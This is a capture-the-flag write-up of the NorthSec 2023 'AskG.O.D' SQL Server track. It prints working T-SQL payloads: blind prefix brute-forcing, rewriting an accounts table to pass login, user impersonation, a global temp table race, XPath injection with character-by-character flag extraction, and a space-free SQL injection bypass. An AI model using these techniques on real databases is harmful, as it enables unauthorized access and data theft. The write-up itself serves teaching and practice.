This post is a writeup of the AskG.O.D track that we did at NorthSec 2023.
This was the introduction to the challenge. “Notepad.exe” is the forum where all challenges were posted.
Port 1433 is the standard port for SQL Server, so I used SQL Server Management Studio to connect to the server with the supplied credentials.
After connecting, this is what we see in the console:
We find several stored procedures and the studio allows us to create a script to execute them or see their definition.
Strange names (flags 1 and 2)
Two of the stored procedures have strange names, one with a unicode character and the other which has all special characters. The studio correctly structured the calls to the stored proc and they didn’t require parameters. But the unicode character still caused some troubles. My colleague Remi solved it.
Running them gave us the first two flags. Upon submitting them, we saw that there were 18 flags in this track.
SlowlyButSherly (flag 3)
I don’t have the definition of this stored proc, but it performed a comparison like this:
if(@flag like @input+'%')
So if the start of the input matches the flag, the stored proc returned 1 otherwise it returned 0. So the idea was to recover the characters one by one starting with the first. I asked ChatGPT to write a TSQL while loop that tried all ASCII characters and then modified the code to get this:
DECLARE @return_value INT DECLARE @ascii_num INT = 1; DECLARE @char_val VARCHAR(38); DECLARE @accum VARCHAR(38) = ''; -- Start with empty string DECLARE @len INT = 1; DECLARE @found INT = 0; WHILE (@len < 39) BEGIN SET @found = 0; SET @ascii_num = 32 -- Try every character WHILE ( @ascii_num <= 127 AND @found = 0 ) BEGIN IF (@ascii_num <> 37) -- Don't try '%' BEGIN -- Add the character to the end of the string that we found until now SET @char_val = CONCAT ( @accum ,CHAR(@ascii_num) ); -- Try this string EXEC @return_value = [dbo].[SlowlyButSherly] @x = @char_val IF @return_value = 1 BEGIN -- If it matches, we set this as our current string SET @accum = @char_val SET @found = 1; SET @len = len(@accum) END END -- Try the next character SET @ascii_num = @ascii_num + 1; END -- Print the string that we found so far, we print it every time we get a new character print(@accum) END
Authenticate (flag 4)
This stored proc looked like this:
CREATE PROCEDURE [dbo].[Authenticate](@username VARCHAR(50), @password VARCHAR(50)) AS BEGIN IF EXISTS(SELECT * FROM Accounts WHERE username = @username AND password = @password) BEGIN SELECT flag FROM flags WHERE id = 10 END END
I could not find any way to select information in the Accounts table. The way the query is structured, I also tried inserting a row in the account table with a known username and password but I had no rights to insert into the account table. I must admit it took a long time before I thought about the solution (I tried other challenges in the track during this time).
Eventually, I had a hint to look at my permissions by running this query:
SELECT USER_NAME(grantee_principal_id) AS [user], USER_NAME(grantor_principal_id) AS [grantor], OBJECT_NAME(major_id) AS [table_name], permission_name, * FROM sys.database_permissions WHERE USER_NAME(grantee_principal_id) = USER_NAME()
This gave me a lot of information (and helped me solve many other challenges in the track):
I had the update rights on the account table, so I solved the challenge like this:
update Accounts set username ='asd', password = 'asd' exec Authenticate 'asd','asd'
StoredProcedure (flag 5)
Listing the permissions in the Authenticate challenge allowed me to see a stored procedure named “StoredProcedure”. Weirdly, it did not appear in the list in SQL Server Management Studio. So I executed it and got another flag.
AskGOD (flag 6)
This was the stored proc:
CREATE PROCEDURE [dbo].[AskGOD] AS BEGIN DECLARE @object VARBINARY(max), @output NVARCHAR(max) SELECT TOP 1 @object = [data] FROM Gibberish EXECUTE dbo.Decrypt @object, @output = @output OUTPUT IF (@output = 'O'' GOD, may I ask for the flag please.') BEGIN SELECT flag FROM flags WHERE id = 11 END END
In the list, there were two stored proc: Decrypt and Encrypt that we could execute but not see their definition. I simply tried to Encrypt the desired output and used the trick from Authenticate to update the Gibberish table.
DECLARE @object VARBINARY(max), @output NVARCHAR(max) set @output = 'O'' GOD, may I ask for the flag please.' exec encrypt @output, @output = @object OUTPUT update Gibberish set [data] = @object exec AskGod
ExecuteMeIfYouCan (flag 7)
This one was simple:
CREATE PROCEDURE [dbo].[ExecuteMeIfYouCan] AS BEGIN SELECT flag FROM flags WHERE id = 12 END
I could not execute it directly, but I saw that we had impersonate rights from coworker, so I simply tried:
exec as user = 'coworker' exec ExecuteMeIfYouCan
createTempTable (flag 8)
I do not have this stored proc, but from memory, it looked like this:
CREATE PROCEDURE [dbo].[createTempTable] AS BEGIN SELECT flag FROM flags WHERE id = X INTO ##temp drop table ##temp END
So the idea was that the stored proc put the flag in a temp table and dropped the temp table immediately afterwards. However, the trick was to notice that the temp table had “##” at the start which means it is a global temp table.
This means that it is accessible to anyone and other connections.
So the trick was to query the temp table a the exact right moment when it contained the flag. The problem is that trying to query it when it does not exist results in an error that stops scripts.
I asked ChatGPT to make me a loop to call a stored procedure repeatedly while catching exceptions.
The first script repeatedly calls the stored proc to put the flag in the temp table
DECLARE @retryCount INT = 100000; DECLARE @retryDelayInSeconds INT = 5; DECLARE @retryAttempts INT = 0; WHILE (@retryAttempts < @retryCount) BEGIN exec createTempTable SET @retryAttempts = @retryAttempts + 1; PRINT 'The SELECT statement failed. Retrying... Attempt ' + CAST(@retryAttempts AS VARCHAR(10)); end
The second script repeatedly queries the temp table with a catch clause so that the script doesn't end.
DECLARE @retryCount INT = 100000; DECLARE @retryDelayInSeconds INT = 5; DECLARE @retryAttempts INT = 0; WHILE (@retryAttempts < @retryCount) BEGIN BEGIN TRY exec (' SELECT * FROM ##temp;') -- Exit the loop if the SELECT statement succeeded SET @retryAttempts = @retryCount; END TRY BEGIN CATCH SET @retryAttempts = @retryAttempts + 1; -- Print a message for the retry attempt IF (@retryAttempts < @retryCount) BEGIN PRINT 'The SELECT statement failed. Retrying... Attempt ' + CAST(@retryAttempts AS VARCHAR(10)); END END CATCH end
b2JmdXNjYXRIZA== (flag 9)
This stored proc takes a single parameter, but it is hard to know what we should pass. It looks like this:
It looked like an obfuscated query, so I ran the select to get:
After looking at it for a while, I realized that it was hex bytes that were xored with an unknown 4-byte key. I created a small program to create 4 sets of bytes based on their index modulo 4. Then I tried all 1-byte values to xor with all values in each set. If, after xoring, all values in the set are in the printable range, I kept the value used in the XOR. This resulted in 4 sets of eligible values to XOR. I actually had a little trouble because it seemed like some values could not be xored in two of the sets (they did not result in valid characters). So I lowered the threshold and if only one or two characters in the set did not yield printable characters, I still considered the value eligible.
Then I tried all combinations of eligible values to XOR with the data and printed all text that contained "select". With these 4 bytes, it resulted in:
DECLARE @Em3AEONqAf9h INT ,@LubsPykO4rj5 VARCHAR(mAX) ,@ettxpPzetKN INT; SELECT @Em3AEONqAf9h = 1 ,@LubsPykO4rj5 = 0xD0CD878FDAACD3CCAABB87BBB6B7879887A8A8E0D4DFA9D5A0AFDEAE9DBB9987CDD9D6D4878AD8B5DA99A9B3CAB99BD19087A4878ECC9CCCC9CACBCACC9BCB97CBA09DA098CBC89CCC9ECD9A9E9BCDC999CC9ECDC98E7471C9CCCEB0D57471DAACB3CCAADB87CDD3C8CE87ADD9B6B4878AD8B5DA99A9B3CAB99BD17471CCB5CB ,@ettxpPzetKN = LXduUXp3V5 FROM #qNs2BLcR4j; WHILE @Em3AEONqAf9h <= leN(@LubsPykO4rj5) BEGIN SET @LubsPykO4rj5 = suBsTrINg(@LubsPykO4rj5, 1, @Em3AEONqAf9h - 1) + CHAR(aScii(SUbSTrIng(@LubsPykO4rj5, @Em3AEONqAf9h, 1)) - @ettxpPzetKN) + SuBStRing(@LubsPykO4rj5, @Em3AEONqAf9h + 1, leN(@LubsPykO4rj5)); SET @Em3AEONqAf9h = @Em3AEONqAf9h + 1 END; EXEC (@LubsPykO4rj5)
This is the same concept, but there is a single character xored with the hex bytes. I used a similar tactic to get this:
if (sEleCT TOP 1 AAymxBn9HwG6T2 from #qNs2BLcR4j) = 'e5ebcdce4d0d9691da5e7f374fb2e7fb' begIn sELeCt flag FrOM #qNs2BLcR4j eNd
This gave us what we needed to send to the stored proc and get the flag.
Substitution (flag 10)
This stored proc looked like this:
CREATE PROCEDURE [dbo].[substitution] (@query VARCHAR(500)) AS BEGIN SET NOCOUNT ON DECLARE @rowCount INT, @row INT = 0, @index INT = 1, @position INT = 1, @length INT, @replaceFrom VARCHAR(30), @replaceTo VARCHAR(30), @newquery VARCHAR(500) = '' CREATE TABLE #UmRYqEjd9ylygA (flag VARCHAR(38)) INSERT INTO #UmRYqEjd9ylygA SELECT flag FROM flags WHERE id = 8 CREATE TABLE #VK37aPGHw9l4e (replaceTo VARCHAR(30), position INT, length INT) SELECT @rowCount = COUNT(*) FROM SubstitutionTable WHILE @row < @rowCount BEGIN SELECT @replaceFrom = replaceFrom, @replaceTo = replaceTo FROM SubstitutionTable ORDER BY replaceFrom OFFSET @row ROW FETCH FIRST 1 ROW ONLY SET @index = 1 SET @position = CHARINDEX(@replaceFrom, UPPER(@query), @index) WHILE @position > 0 BEGIN INSERT INTO #VK37aPGHw9l4e VALUES (@replaceTo, @position, LEN(@replaceFrom)) SET @index = @index + @position + LEN(@replaceFrom) SET @position = CHARINDEX(@replaceFrom, UPPER(@query), @index) END SET @row = @row + 1 END SET @row = 0 SET @index = 1 SELECT @rowCount = COUNT(*) FROM #VK37aPGHw9l4e WHILE @row < @rowcount BEGIN SELECT @replaceTo = replaceTo, @position = position, @length = length FROM #VK37aPGHw9l4e ORDER BY position OFFSET @row ROW FETCH FIRST 1 ROW ONLY IF @index < @position BEGIN SET @newquery = @newquery + SUBSTRING(@query, @index, @position - @index) END SET @newquery = @newquery + @replaceTo SET @index = @position + @length SET @row = @row + 1 IF @row = @rowCount BEGIN SET @newquery = @newquery + SUBSTRING(@query, @index, LEN(@query) + 1 - @index) END END EXEC (@newquery) END
I ran it with "asd" and luckily I hit one of the substitutions and this resulted in an error "Invalid syntax near fromd". I then spent a lot of time trying to build the full substitution table because I thought that I would need to create a weird string that would be substituted into the right query.
After many hours, I changed tactic. Initially, I had tried to repeat the string like this: "asdasdasd", but the second "as" did not get substituted to "from" like the first. I noticed this line:
SET @index = @index + @position + LEN(@replaceFrom)
The @position in the line increases the index a lot and skips a lot of characters that do not get replaced. So in the end, I simply have to write the select that I need but before hand make sure that I did enough replacement so that my real query did not get replaced.
I ended up using this text in the stored procedure:
--aaaaaaaaaaaaaaaaasdselectselectselectfromfromfromfromfrom select * from #UmRYqEjd9ylygA
All the select and from on the first line get replaced and because it is after "--" it is in a comment that doesn't stop the execution. Afterwards, on a separate line, I write the right query and there are no substitution because there were enough on the first line.
GetOut (flag 11)
I do not remember my solve for this and do not have the definition of this stored proc. From what I remember it was about getting the output parameter. I believe that SQL Server Management Studio did all the work for me once again, but I am not sure.
GetWorkerProperty (flags 12, 13 and 14)
This stored proc looked like this:
CREATE PROCEDURE [dbo].[GetWorkerProperty] (@workername VARCHAR(150)) AS BEGIN -- You see 2 flags? I see 3. IF (@workername LIKE '%''%') BEGIN RETURN -1 END DECLARE @flag1 VARCHAR(38), @flag2 VARCHAR(38), @query VARCHAR(300) SELECT @flag1 = flag FROM flags WHERE id = 16 SELECT @flag2 = flag FROM flags WHERE id = 17 CREATE TABLE #workers (properties XML, flag VARCHAR(38)) INSERT INTO #workers SELECT properties, @flag2 FROM workers SET @query = 'DECLARE @flag VARCHAR(38);SET @flag = '''+@flag1+''';SELECT properties.query(''//worker[@name = "'+@workername+'"]/child::node()'') AS property FROM #workers AS w' EXECUTE(@query) END
There were two flags with a hint of a third one. This was clearly an XML XPath injection challenge and the trick was finding the right syntax.
I created myself a playground to experiment with the syntax. I find that this is a good strategy in general to be able to reproduce the challenge in a known environment to get more information.
DECLARE @xmlData XML = '
'; SELECT @xmlData.query('//worker[@name = "johnny"]/child::node()') AS property John Doe Jane Doe
I then combined classis SQL injection technique and path traversal to dump the full XML document.
DECLARE @xmlData XML = '
'; SELECT @xmlData.query('//worker[@name = "a" or "1"="1"]/../../..["1"="1"]/child::node()') AS property exec GetWorkerProperty 'a" or "1"="1"]/../../..["1"="1' John Doe Jane Doe
This gave me the secret third flag.
I then started trying to get the flag that was in the variable "@flag". I eventually found the syntax:
sql:variable("@flag") to access variables. I then used a technique of enumerating each value one after the other like in a boolean SQLi.
This was my proof of concept:
exec GetWorkerProperty 'a" or "FLAG-"=substring(sql:variable("@flag"),1,5) or "2"="1' exec GetWorkerProperty 'a" or "0"=substring(sql:variable("@flag"),6,5) or "2"="1' exec GetWorkerProperty 'a" or "1"=substring(sql:variable("@flag"),6,5) or "2"="1' exec GetWorkerProperty 'a" or "2"=substring(sql:variable("@flag"),6,5) or "2"="1' exec GetWorkerProperty 'a" or "3"=substring(sql:variable("@flag"),6,5) or "2"="1' exec GetWorkerProperty 'a" or "4"=substring(sql:variable("@flag"),6,5) or "2"="1' exec GetWorkerProperty 'a" or "5"=substring(sql:variable("@flag"),6,5) or "2"="1' exec GetWorkerProperty 'a" or "6"=substring(sql:variable("@flag"),6,5) or "2"="1' exec GetWorkerProperty 'a" or "7"=substring(sql:variable("@flag"),6,5) or "2"="1' exec GetWorkerProperty 'a" or "8"=substring(sql:variable("@flag"),6,5) or "2"="1' exec GetWorkerProperty 'a" or "9"=substring(sql:variable("@flag"),6,5) or "2"="1' exec GetWorkerProperty 'a" or "a"=substring(sql:variable("@flag"),6,5) or "2"="1' exec GetWorkerProperty 'a" or "b"=substring(sql:variable("@flag"),6,5) or "2"="1' exec GetWorkerProperty 'a" or "c"=substring(sql:variable("@flag"),6,5) or "2"="1' exec GetWorkerProperty 'a" or "d"=substring(sql:variable("@flag"),6,5) or "2"="1' exec GetWorkerProperty 'a" or "e"=substring(sql:variable("@flag"),6,5) or "2"="1' exec GetWorkerProperty 'a" or "f"=substring(sql:variable("@flag"),6,5) or "2"="1'
I did not find an easy way to get access to the resulting result set of the stored procedure (it does appear in the output window, but I didn't know how to use it in the T-SQL script). In the end I asked ChatGPT to write me the while loops to try hex characters at each successive position in the flag. Whenever it was the right character the result set contained a value. When it was wrong, it did not. I printed the character that I was trying as well as the index, simply to help me quickly assemble them manually by finding the resultsets that had values. Having so many result set in the output window slowed the studio a lot, so I did it in two runs (characters 6 to 20 and then 20 to 40, the first 5 were "FLAG-").
DECLARE @hexDigits NVARCHAR(16) = N'0123456789abcdef'; DECLARE @index INT = 1; DECLARE @index2 INT = 20; DECLARE @count INT = LEN(@hexDigits); DECLARE @currentChar NVARCHAR(1); declare @test varchar(100); declare @res int; while(@index2 < 40) begin set @index = 1 WHILE (@index <= @count) BEGIN SET @currentChar = SUBSTRING(@hexDigits, @index, 1); PRINT 'Trying hex digit ' + @currentChar; set @test = concat('a" or "',@currentChar,'"=substring(sql:column("flag"),',@index2,',1) or "2"="1') print @test select @index2,@currentChar exec GetWorkerProperty @test SET @index = @index + 1; END SET @index2 = @index2 + 1; end
This gave me the first flag and I got the second flag using the same technique, but with
sql:column("flag") syntax to get the second flag which was stored in another column of the same table.
BooleanSQLi (flag 15)
My colleague did this one, I do not have the code for it...
ErrorSQLi (flag 16)
My colleague did this one, I do not have the code for it...
UnionSQLi (flag 17)
My colleague did this one, I do not have the code for it...
Bonus (flag 18)
There was another stored proc called "UnlockBonusChallenge". It said to execute it with the values of the flags for BooleanSQLi, ErrorSQLi and UnionSQLi to get to the bonus challenge. We did it and it gave us credentials to connect to the same server using a different account named "bonus". With this connection, there was a single stored proc named "challenge".
BEGIN DECLARE @i INT = 1 WHILE @i < len(@injection) BEGIN IF SUBSTRING(@injection, @i, 1) NOT LIKE '[a-zA-Z0-9''#.,\[\]()_]' ESCAPE '\' RETURN -1 SET @i = @i + 1 END CREATE TABLE #XPvRMOo5qobus8 (yY1aX7UuNiC VARCHAR(16)) DECLARE @query VARCHAR(MAX) SET @query = 'SELECT ''' + @injection + '''' EXEC (@query) EXEC validator END
The first part was a check that only allowed characters were submitted. A lot of dangerous characters were allowed, notably "'" to allow us to escape. But some important characters were missing: " ", ";", "=" or newlines.
When ran with an input that contained an invalid character it simply returned -1. When ran with "1" to make the select work, it output:
The goal of this challenge is to have the following schema 'TABLE #XPvRMOo5qobus8 (givemeflagplease VARCHAR(16))' with the value of #XPvRMOo5qobus8.givemeflagplease = 'GiveMeFlagPlease'. If you successfully meet this requirement, the flag will appear in the results.
The temporary table was already created with the right name, but the name of the column was not right and we needed to insert the right data into it. From using SQL Server a lot, I knew that ";" at the end of statements was unnecessary when they were on multiple lines. But I also knew from working a lot in SQL Server Management Studio that even on the same line, statements did not need ";" between them. In the studio, the parser displays invalid syntax elements with a red squiggly line underneath. And through editing I had remarked that sometimes when joining lines in the course of editing, there would be no syntax error with two statements adjacent one to the other. On a side note, I have always wondered how hard it is to write a parser that handles this crazy syntax...
Even though I had clues, I still spent hours on this problem. The problem was that to insert data you need "INSERT INTO...". The space between "INSERT" and "INTO" was the problem preventing me from inserting. I had solutions for everything else.
I discovered fairly quickly how to rename the column of the temp table like this:
exec challenge '1''use[tempdb]exec[sp_rename]''#XPvRMOo5qobus8.yY1aX7UuNiC'',''givemeflagplease' -- Results in this when put in the stored proc select '1'use[tempdb]exec[sp_rename]'#XPvRMOo5qobus8.yY1aX7UuNiC','givemeflagplease'
I tried "SELECT INTO" syntax to insert data in a temp table, but it needs to be a new temp table, so I cannot insert into the right temp table because it already exists. I tried for a long time to delete the existing temp table or rename it out of the way, but both of these are not permitted and I could not find a way around it.
I asked ChatGPT for all ways to insert data in TSQL. It suggested "MERGE", "UPDATE OUTPUT" and many other ways that I tried. One of my closest attempt was:
exec challenge 'GiveMeFlagPlease''as[a]into[#temp]update[#temp]set[a]=[a]output(inserted.a)into[#XPvRMOo5qobus8]use[tempdb]exec[sp_rename]''#XPvRMOo5qobus8.yY1aX7UuNiC'',''givemeflagplease' -- Results in this when put in the stored proc select 'GiveMeFlagPlease'as[a]into[#temp]update[#temp]set[a]=[a]output(inserted.a)into[#XPvRMOo5qobus8]use[tempdb]exec[sp_rename]'#XPvRMOo5qobus8.yY1aX7UuNiC','givemeflagplease'
The idea here was to use the select to insert data into another temp table (named "#temp") and then use an "UPDATE...OUTPUT..." statement to update that data and output the updated data in the right table so that it was inserted correctly. However, it was rejected. Can you spot why?
In the many hours it took me to solve this challenge I had built a validator for my queries and this showed that the "=" needed for the "UPDATE" syntax was rejected.
Eventually, I asked Tristan for some help on this challenge and I was telling him about the issue with "INSERT INTO" and the space between the two words. I had written out a full query that was valid in my editor but it had the space between "INSERT INTO". Out of frustration, I highlighted the "INTO" and pressed delete telling him that this was the word causing the issue. To my surprise, there were no red squiggly lines. That syntax was valid... In all my years of writing SQL, I've always written INSERT INTO and I learned that "INTO" was optional. The reference documentation show this: INSERT Reference.
So the solution was:
exec challenge '1''insert[#XPvRMOo5qobus8]values(''GiveMeFlagPlease'')use[tempdb]exec[sp_rename]''#XPvRMOo5qobus8.yY1aX7UuNiC'',''givemeflagplease' -- Results in this when put in the stored proc select '1'insert[#XPvRMOo5qobus8]values('GiveMeFlagPlease')use[tempdb]exec[sp_rename]'#XPvRMOo5qobus8.yY1aX7UuNiC','givemeflagplease'
Final flag worth 7 points!